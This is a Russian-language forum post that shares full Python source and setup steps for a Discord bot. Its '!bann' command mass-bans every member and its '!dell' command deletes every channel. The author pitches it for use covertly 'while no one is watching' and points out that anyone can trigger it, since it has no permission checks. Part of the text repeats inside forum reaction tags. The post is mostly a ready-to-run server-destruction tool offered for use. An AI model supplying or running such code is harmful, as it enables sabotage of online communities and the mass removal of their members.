Буквально месяц назад столкнулся с надобностью перебанить ~2к человек в дискорде.
В ручную это делать - смерть, а вот под шумок, пока никто не видит ботом - самое то.
Ньюанс, что все подобные боты в опенсурсе умерли, дискорд прикрыл возможности через либу банить людей.
Сделал биг(бич) кодинг на питоне, вот сейчас отыскал - решил слить, мб кому нужно.
Команда '!bann' - банит всех участников сервера, кого может забанить.
Команда '!dell' - удаляет все голосовые и текстовые каналы.
1. Скачиваем python3 на пк.
2. Заходим в cmd, и устанавливаем либу:
pip install discord
3. Создаем файл расширения .py, вставляем код.
4. Меняем token = "" на токен бота с discord dev, и ban_reason = "" - причину бана.
5. В cmd октрываем путь к файлу - cd c:\discord [пример]
6. Запускаем бота - py file.py / python3 file.py
Проверок прав на команды нет - может использовать каждый.
Удаляет абсолютно все каналы при наличии прав на удаление.
Перебанивает всех, кого может перебанить (роли ниже бота, имея право бана/админку).
Исходник:
[REACTS=1][/REACTS][REACTS=1][/reacts]
[REACTS=1]В ручную это делать - смерть, а вот под шумок, пока никто не видит ботом - самое то.
Ньюанс, что все подобные боты в опенсурсе умерли, дискорд прикрыл возможности через либу банить людей.
Сделал биг(бич) кодинг на питоне, вот сейчас отыскал - решил слить, мб кому нужно.
Команда '!bann' - банит всех участников сервера, кого может забанить.
Команда '!dell' - удаляет все голосовые и текстовые каналы.
1. Скачиваем python3 на пк.
2. Заходим в cmd, и устанавливаем либу:
pip install discord
3. Создаем файл расширения .py, вставляем код.
4. Меняем token = "" на токен бота с discord dev, и ban_reason = "" - причину бана.
5. В cmd октрываем путь к файлу - cd c:\discord [пример]
6. Запускаем бота - py file.py / python3 file.py
Проверок прав на команды нет - может использовать каждый.
Удаляет абсолютно все каналы при наличии прав на удаление.
Перебанивает всех, кого может перебанить (роли ниже бота, имея право бана/админку).
Исходник:
[REACTS=1][/REACTS][REACTS=1][/reacts]
Код:
from discord.ext import commands
import discord
intents = discord.Intents.default()
intents.message_content = True
intents.members = True
client = commands.Bot(command_prefix="!", intents=intents)
token = ""
ban_reason = "Z"
@client.command()
async def bann(ctx):
async for member in ctx.message.guild.fetch_members(limit=None):
try:
if member == ctx.message.author:
continue
await member.ban(reason=ban_reason, delete_message_days=7)
except Exception as ex:
print(ex)
@client.command()
async def dell(ctx):
for channel in ctx.guild.channels:
try:
await channel.delete()
except Exception as ex:
print(f"Error {channel.name}: {ex}")
client.run(token)
[/REACTS]